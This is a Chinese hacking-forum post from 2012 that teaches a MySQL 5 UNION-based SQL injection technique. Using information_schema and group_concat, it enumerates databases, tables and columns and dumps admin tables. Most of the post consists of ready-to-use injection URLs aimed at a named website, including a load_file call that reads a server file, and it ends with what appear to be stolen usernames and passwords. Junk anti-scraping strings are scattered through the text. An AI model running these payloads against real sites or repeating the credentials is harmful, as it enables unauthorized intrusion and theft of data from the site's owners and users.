中国网络渗透测试联盟

标题: mysql注入高效方法 [打印本页]
作者: admin    时间: 2012-9-13 16:37
标题: mysql注入高效方法
此方法只适用于Mysql 5.0以及5.0以上版本 注入方法和mysql 5 类似
8 O. [- Q# i7 V" L. F2 y但此方法大大提高了读取数据库的速度,此方法并非本人原创，原创出处是国外某牛人$ h( a- G9 H$ B8 [/ {
) e/ u$ P0 X  e' l7 c- x8 J8 R( E  _

$ f! }' Z. P  x$ m+ \+ h优点在于可以利用information_schema库与group_concat的配合 来达到一次性读取出指定数据库里的内容,并且在limit被限制的情况下依然可以注入
' Y) Z9 L( Z/ O1 L2 O) d" F( r' o$ z7 v% x
缺点 当一个库存在几百甚至几千个表和表字段和数据的时候 读取出数据的时间会相当的慢.... V2 }. d# d+ Y

2 y/ ?" ?( ^0 m; o/ O下面用简单实例来演示 原理不多说,相信经常玩注入的朋友都知道了.只挑重要部分实例演示3 h7 k+ X" ]6 @% \/ a
在注入时根据实际情况作出变化 比如过滤了空格，使用/**/ ,  + 等等
- g5 l* t0 _7 Z. H2 Z" g9 J9 t/ Z/ P5 `5 C
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,17/ Z) G3 s2 ?' T# D: ^* f
: z1 {3 ~- m3 ?' T$ A6 a
读出所有库:
( N7 W, s9 G$ B. f( y4 lhttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17 from information_schema.SCHEMATA2 q8 R, O+ [5 h$ ]2 e9 w+ f2 N9 J
9 B/ t* {: z1 N9 E

2 }9 H# o) E. a8 l' b' U1 u% \; E1 Q+ Y) x
读出所有表:
& G, x( I3 H, ]4 x1 khttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=database()* i8 ?0 p- s' L3 N" |' e9 j0 ~

' i( u7 G9 y0 p5 j读出所有表字段:
- g5 i9 S5 A8 `# R1 Xhttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17 from information_schema.COLUMNS where table_schema=database() and table_name=char(97,100,109,105,110)
5 L% m: U8 _2 n0 r- ^*/ (97,100,109,105,110)为admin的ascii码 依次类推% Z; \7 M7 n/ A/ S
  t8 K7 x# e" a
读出所有表字段里的内容:
+ L, q4 _. ^( ^http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,group_concat(password),group_concat(admin),10,11,12,13,14,15,16,17 from admin' e  J: j6 K( G; ~( m: H

" n8 s3 i) h" e. Q' P
( `( ^6 Q, B  C" T' \
& i' L- U" j$ g+ Z, E/ E2 w0 G. o) N: g* X5 s/ X

) ^( P  L3 V- r& k  ?5 G' K" w5 ~2 [: Z- I. {
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),load_file(CHAR(99, 58, 92, 98, 111, 111, 116, 46, 105, 110, 105)),4,5,6,7+%23$ U9 E9 y5 ?& }5 A& u3 u
# ?; g+ o. ]- V# a4 [* [  I9 X: `3 `

9 I, k! H( T, whttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(schema_name),4,5,6,7+from+information_schema.schemata%23
, }7 {1 T7 E' g, D) _0 I0 Z0 k
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(column_name),4,5,6,7+from+information_schema.COLUMNS where table_schema=database()+and+table_name=char(97,100,109,105,110)%23$ N! }: W. g6 a1 D1 ^
  \' C0 O+ X, `) x- `
! c- C/ `4 X4 }* t* E
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(admin_name,0x3a,admin_password),4,5,6,7+from+admin%23/ d8 z* L2 @9 D" `& m
9 O. O" C3 K2 S% m; Z" t  G
9 [6 t/ L6 E! H' A7 P) R
        webmaster:dzb521123,simlab:simadmin20043233
6 v' q. K  Y1 }) t) k/ E



欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2